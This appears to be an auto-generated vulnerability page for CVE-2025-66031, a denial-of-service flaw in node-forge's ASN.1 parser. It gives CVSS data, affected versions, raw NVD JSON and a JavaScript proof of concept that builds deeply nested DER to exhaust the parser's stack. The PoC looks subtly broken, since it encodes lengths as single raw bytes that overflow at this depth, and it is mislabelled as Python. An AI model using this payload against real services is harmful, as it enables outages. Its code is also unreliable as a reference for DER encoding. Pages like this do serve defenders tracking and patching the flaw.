Security Vulnerability Report
中文
CVE-2025-66031 CVSS 7.5 HIGH

CVE-2025-66031

Published: 2025-11-26 23:15:49
Last Modified: 2025-12-06 00:22:19

Description

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:* - VULNERABLE
node-forge (forge) < 1.3.2
node-forge 1.3.0
node-forge 1.3.1
所有使用node-forge进行ASN.1解析的应用

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66031 PoC - Deeply Nested ASN.1 DER Structure // This PoC generates a DER-encoded SEQUENCE with excessive nesting depth // to trigger stack exhaustion in vulnerable node-forge versions <= 1.3.1 const forge = require('node-forge'); function buildDeeplyNestedASN1(depth) { // Build a DER-encoded SEQUENCE with specified nesting depth // SEQUENCE tag = 0x30, constructed, universal let derBuffer = Buffer.alloc(0); function buildSequence(depth) { if (depth <= 0) { // Base case: INTEGER value return Buffer.from([0x02, 0x01, 0x00]); // INTEGER 0 } // Recursive case: SEQUENCE containing another SEQUENCE const inner = buildSequence(depth - 1); const tag = 0x30; // SEQUENCE tag const length = inner.length; return Buffer.concat([ Buffer.from([tag, length]), inner ]); } return buildSequence(depth); } // Generate malicious DER with excessive nesting depth (e.g., 10000 levels) const maliciousDer = buildDeeplyNestedASN1(10000); console.log('Generated malicious DER with nesting depth: 10000'); console.log('Size:', maliciousDer.length, 'bytes'); try { // Attempt to parse the malicious DER - triggers stack exhaustion const asn1 = forge.asn1.fromDer(forge.util.createBuffer(maliciousDer)); console.log('Parsing succeeded (vulnerability may be patched)'); } catch (e) { console.log('Parsing failed:', e.message); console.log('Stack:', e.stack); console.log('VULNERABLE: Stack exhaustion detected'); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66031", "sourceIdentifier": "[email protected]", "published": "2025-11-26T23:15:49.397", "lastModified": "2025-12-06T00:22:18.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.3.2", "matchCriteriaId": "FCE34820-051A-4D02-AB4B-DB03886D53CF"}]}]}], "references": [{"url": "https://github.com/digitalbazaar/forge/commit/260425c6167a38aae038697132483b5517b26451", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}